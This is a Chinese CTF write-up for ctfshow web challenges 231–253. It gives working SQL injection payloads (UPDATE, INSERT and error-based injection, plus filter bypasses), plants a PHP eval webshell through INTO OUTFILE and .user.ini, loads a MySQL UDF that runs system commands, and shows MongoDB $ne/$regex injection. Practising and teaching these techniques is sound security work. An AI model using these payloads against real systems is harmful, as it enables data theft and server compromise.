再回到页面就可以发现表名被暴露出了:
接下来一步步爆就可以,不赘述
也可以用子查询:password=',username=(select a from (select group_concat(flagas)a from flaga) y4tacker) where 1=1;#&username=1
那个a是给字段的别名
Web232(同上)
加了个md5我们闭合一下就好了
更新成功,查看:
- user():查看当前的用户
接下来和上一题一样慢慢爆就好了
Web233(boolean盲注)
查询语句没有变动,他也说没过滤,但是用上一题的payload不行了,肯定是过滤了,这边就用布尔盲注了
,猜测是对password中的内容进行了过滤
这边显示更新成功了,ctfshow是我们之前知道的一个用户名
然后就是写脚本跑脚本了:
1 | import requests |
Web234(\转义)
这一题经过了一系列的fuzz,发现username中ban掉了单引号,因此这一题可以用一个很骚的方法,这方法在上面几题中应该也是通用的
我们payload:password=2\&username=,username=2#
这样查询语句就变成了update ctfshow_user set pass = '\' where username =,username=2#'
反斜杠转义了单引号,导致password=' where username =
然后username跟着传参,username=2#'
,最终效果为:
接下来就和web231一样去爆库
接下来爆字段名,有个问题就是where table_name=''
这里会用到单引号,我们不要慌,用十六进制去绕过即可:
Web235(information库过滤+子查询)
题目说了过滤单引号和or,那information库就用不了了,mysql中不是只有information库有表格的信息,还有其他很多库,如mysql.innodb_table_stats
参考文章:
首先反斜杠还是可以让参数溢出的,password仍然是反斜杠,只需要改一些information库即可,所以payload:password=2\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
表名已经知道了,剩下的就是字段了,这里可以用子查询去爆字段
- 子查询:
格式大概如上,这个报错的意思是每个派生表都要有他的别名,也就是标准格式是:
讲完子查询,接下来就payload,表是flag23a1
:password=\&username=,username=(select group_concat(c) from (select 1,2 as c,3 union select * from flag23a1) d)#
(select group_concat(c) from (select 1,2 as c,3 union select * from flag23a1) d)
返回的数据有2行,所以要用group by
1 | """ |
Web236(同上)
嘴巴上说是说ban了flag,可以是还是可以像上一题一样做出来
Web237(insert注入开始)
语句如下
这边和update其实是一个意思,在添加数据的时候给脏字符
payload:username=kino',database())#
,password=1
:
然后username=kino',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#
,password=1
:
最后效果如上,一步步的去爆
payload2:这里也可以和上面用反斜杠\去转义来做
Web238(过滤空格)
ban掉了空格,那我们只需要把上面的payload修改一下,换成反引号或者括号即可username=kino',(select(group_concat(table_name))from(information_schema.tables)where
table_schema=database()))#
接下来就不赘述
payload2:这里也可以和上面用反斜杠\去转义来做
Web239(过滤空格,or)
注意这里他妈的过滤空格的意思是所有绕过空格的写法也没了,也就是还ban了*号
这边不能用information表了用mysql里的,和上面235一样
然后payload:
username=1'(select(flag)from(flagbb)))#
password=1
这个flag列名是猜的
payload2:
username=
password=,(select(flag)from(flagbb)))#
Web240(insert结束)
查询语法没变,只是mysql库也被ban了,但是hint中提示我们表名是flagxxxxx,然后根据前面的规律可以知道列名是flag,这样我们直接抓包爆破即可:
选取flag后面的五位为爆破点:
.
之后页面给的msg全都是插入成功,但是只有正确的表名会显示数据,我们刷新页面就出来答案了:
Web241(delete开始)
抓包分析:
发现这样可以成功延时,那就说明这里存在时间盲注了,那废话不多说就直接开始写脚本了
1 | import requests |
Web242(file注入开始)
这是导出数据的语句,参考:
starting by每行开始
terminated by是每行结束
这边我在本地试了一下各参数是什么意思:LINES TERMINATED BY
:
也就是结束后添加一个语句FIELDS TERMINATED BY
:
也就是字段间的间隔符OPTIONALLY ENCLOSED BY
:
这个要和LINES TERMINATED BY
一起使用,否则报错
将字段用什么包裹起来,介绍完了就直接抓包payload:
这是txt文件,无法解析,改为php:
蚁剑上号
Web243(.user.ini和短标签)
过滤了php就不能上传php文件,我们有.user.ini和短标签
首先先上传一个2.txt文件,内容有一句话木马:
payload=2.txt' FIELDS TERMINATED BY'<?=eval($_POST[1]);?>'#
继续上传.user.ini文件。解析2.txt:
payload=.user.ini' lines starting by';' terminated by '%0aauto_prepend_file=2.txt'#
意思是每行的开头都是分号;
结尾都是'%0aauto_prepend_file=2.txt'
,最后效果如下:
分号;
是ini文件中的注释符,放在一行的开头
然后再加上换行符就可以达到注释多余字符的效果
最后访问url+/dump,由于该界面有个index.php,所以可以触发,最后蚁剑上号
Web244(updatexml)
单调的updatexml注入:?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)-- -
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)-- -
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e),1)-- -
爆字段的时候由于报错长度最长是32,所以要用substr或者substring或者not in去截取
Web245(extractvalue)
办了updatexml那咱就用extractvalue去报错
抓个包重发:1'union select 1,2,extractvalue(1,concat(0x7e,database()))#
成功爆出数据库,接下来就一个个爆1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa')))#
最后得到字段是flag1,这里要注意,flag的字符长度是41位,而extractvalue报错的长度最长是32位,这边需要用substr去分段截取:1'union select 1,2,extractvalue(1,concat(0x7e,(substr((select flag1 from ctfshow_flagsa),1,32))))#
1'union select 1,2,extractvalue(1,concat(0x7e,(substr((select flag1 from ctfshow_flagsa),32,20))))#
得到答案
Web246(group by报错)
这边ban了updatexml和extractvalue,只能用基于floor的group by报错注入,具体原理参考:
在这里我只想强调,假如想要本地复现,mysql的版本只有5.6可以,其他的貌似都不可以!!!,题目用的是10.3.18-MariaDB数据库,不是mysql
这边直接payload:?id=' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2))a from information_schema.columns group by a-- -
这里不能用groupconcat,只能用limit,具体原因不太清楚,总而言之就是不行
补档:现在知道了为什么不能用了,因为他查询出来的并不是一行!select 1,(select group_concat(name) from tb1) from tb1;
成功暴露出表名,这边顺便看一下version:
10.3.18-MariaDB数据库
接下来就一步步爆列名:?id=' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='ctfshow_flags' limit 1,1),0x7e,floor(rand(0)*2))a from information_schema.columns group by a-- -
最后爆字段:
payload2:
1’ and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
这是子查询
Web247(过滤floor)
floor过滤了还有ceil,group by报错的原理我们悉知
payload:?id=1' union select 1,count(*),concat(0x7e,database(),0x7e,ceil(rand(0)*2))a from information_schema.tables group by a-- -
成功注入,接下来就是一步步的去爆表,爆字段了
记得用limit,原因在上一题
字段名是flag?,带有问号,问号在mysql中有特殊含义,要用反引号包裹
Web248(UDF注入)
udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。
写入位置:/usr/lib/MySQL目录/plugin
具体步骤:
将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
从udf文件中引入自定义函数(user defined function)
执行自定义函数create function sys_eval returns string soname 'hack.so';
select sys_eval('whoami');
不过这道题是get传值,所以有长度限制,就得分段来传。
可以先生成多个文件,再通过concat拼接成完整的so文件。
恶意的so文件我们可以通过sqlmap中的文件得到,也可以通过光哥的博客https://www.sqlsec.com/tools/udf.html
一般选这个就可以了。
把0X后面的16进制值填到下面脚本的udf变量中就可以了。
1 | import requests |
unhex
:mysql函数,将十六进制字符还原为字符串list.index(i)
:python函数,用于从列表中找出某个值第一个匹配项的索引位置。select intodumpfile
:mysql语法,和select into outfile作用类似,有些许不同
Web249(nosql开始)
查询语句只有 $user = $memcache->get($id);
这是Memcache缓存数据库,他在php中的用法是:
1 | $m=new Memcache(); |
重点是memcache的get方法:
向get中传入参数或者数组,就可以返回指定的键值对
payload:?id=flag
这个会报错不知道为什么?id[]=flag
成功
Web250(mongodb)
万事开头首先强推好文章!
是MongoDB数据库注入,接下来讲解一下它的基本语法:
SQL术语/概念 | MongoDB术语/概念 | 解释/说明 |
---|---|---|
database | database | 数据库 |
table | collection | 数据库表/集合 |
row | document | 数据记录行/文档 |
column | field | 数据字段/域 |
数据库操作:
1 | 显示所有数据库 |
集合(表)操作:
1 | 显式创建集合 |
我们重点关注的是mongodb中的条件语句
1 | AND 查询 |
在mangodb中查询语句:
1 | db.userinfo.find({name:'yu22x'}); |
类似于:
where username=’yu22x’
其中userinfo是表名(集合名)
而在mongodb中的条件语句有个比较有意思的db.userinfo.find({"likes":{$ne:20}})
类似于where likes != 20
所以当我们传入
username[$ne]=1&password[$ne]=1
就等价于
where username!=1&password!=1,也就是nosql中的永真式。
这边理解参考一下
Web251(同上)
用上一题的payload发现结果是:
那么就说明flag不在admin用户中,让username不等于admin即可:
Web252(MongoDB正则)
语法同上两题一样,MongoDB也是支持正则判断的语法是:**{:{$regex:}}**和上面介绍一样
这边先用username[$ne]=1&password[$ne]=1
输入之后发现:
和上一题一样,那我们就再让username不等于admin:
又蹦出来了一个admin1,那我们就匹配正则:username[$regex]=^[^a]&password[$ne]=1
在[]中^表示取反,然后外面的^表示以什么开头,或者username[$ne]=1&password[$regex]=^ctfshow{
也可以
Web253(nosql盲注)
查询语句看起来变了实际没变,之前的查询语句实际上也是这样,在上面的文章有讲
.pretty()什么用都没有:
这边测试输入username[$ne]=1&password[$regex]=ctfshow{
:
提示登入成功,但是没有任何数据,我猜测是把所有数据隐藏了
输入username[$ne]=1&password[$regex]=ctfshow{a
:
提示登入失败,说明是可以进行一个regex盲注的
1 | import requests |
结束啦!!!!!!!!!!!!
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.